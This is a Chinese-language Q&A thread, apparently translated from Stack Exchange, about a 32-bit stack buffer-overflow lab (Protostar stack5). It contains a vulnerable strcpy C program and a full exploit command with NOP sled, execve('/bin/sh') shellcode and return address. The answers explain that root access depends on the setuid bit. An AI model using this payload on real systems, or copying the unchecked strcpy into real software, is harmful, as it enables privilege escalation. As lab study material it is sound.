我正在尝试利用以下代码:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
使用以下命令
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
第一部分是 NOP,第二部分是我从中获取的 shell 代码这个网站,而且应该只是execve("/bin/sh")
。最后一部分是返回地址。我的程序是为 32 位系统编译的,并且禁用了所有保护机制。当我运行我的脚本时,我得到
process 15377 is executing new program: /usr/bin/bash
意思bash
是以当前用户身份运行,而不是以 root 身份运行。在哪里可以找到以 root 身份运行 shell 的 shell 代码?我是否必须禁用任何可以防止这种情况发生的 Linux 功能?
当我运行时,whoami
我得到当前用户而不是 root。在这个“第一次利用! Shellcode 缓冲区溢出 – bin 0x0E”视频使用相同的脚本,并授予 root 访问权限。
答案1
当我运行脚本时,我得到进程 15377 正在执行新程序:/usr/bin/bash,这意味着 bash 正在以当前用户身份运行,而不是以 root 身份运行。
是的,这就是“用户”这个想法的工作原理:您运行一个程序,因此它以当前用户的身份运行。
有setuid
一点是,您可以为可执行文件提供一个文件属性,使其始终以文件所有者(可能是 root)而不是当前用户的身份运行。出于逻辑原因,如果您已经是 root,则只能将该位添加到文件中(否则,不是成为 root 是没有意义的——例如,您始终可以通过将 setuid 位分配给 bash 可执行文件的副本来提升您的权限。
我是否必须禁用任何可以防止这种情况发生的 Linux 功能?
这不是一个特定的功能,这只是自 20 世纪 70 年代 UNIX 以来“用户”概念的字面意思。
您可以在那个人的id
输出中看到该组是 root,但有效组不是。因此,存在漏洞的文件已经在设置了 setuid/setgid 位的情况下运行!检查文件的属性 ( ls -l /…/stack-five
),您将看到s
正在设置的位。
因此,任何进程的权限绝对没有升级 - 它们从一开始就已经存在,但现在您可以滥用该进程来利用它们。
答案2
不,您不能只以自己的身份登录并执行操作并获得 root shell(升级权限)。 (除非您发现内核中的漏洞。)您(理论上)能 所做的就是攻击一个已经以 root 身份运行的进程。那么你可能vuln
如果您在 下运行程序 sudo
,或者将其切换为 root 并打开 setUID 位,则能够获得 root shell 。这可能看起来像是作弊,但您正在模拟攻击易受攻击的系统程序。
从上图并不能明显看出第一次利用! Shellcode 缓冲区溢出 – bin 0x0E您链接到的视频,但它可以工作的唯一方法(它可以获得显示结果的唯一方法)是,正如 Marcus Müller 所说,程序 /opt/protostar/bin/stack5
将 UID 设置为 root。我能够找到这样的声明:
但是,尽管 stack5 二进制文件由 root 用户拥有,并且设置了 setuid 位,但它不是 root shell。
在漏洞利用练习 – Protostar – Stack5 / 我们的第一个漏洞利用 在默默地失败。
有一个问题:以 root 身份执行 shell 可能不会给您 root shell。我邀请并鼓励你对此进行研究。如果你不想成为“脚本小子”,你需要学习如何研究东西。但这是为您提供的面包屑:尝试更改您的“shell 代码”,以便它/bin/id
直接执行而不是执行/bin/sh
.它 可能表明您已获得 root 权限,即使您无法获得 root shell。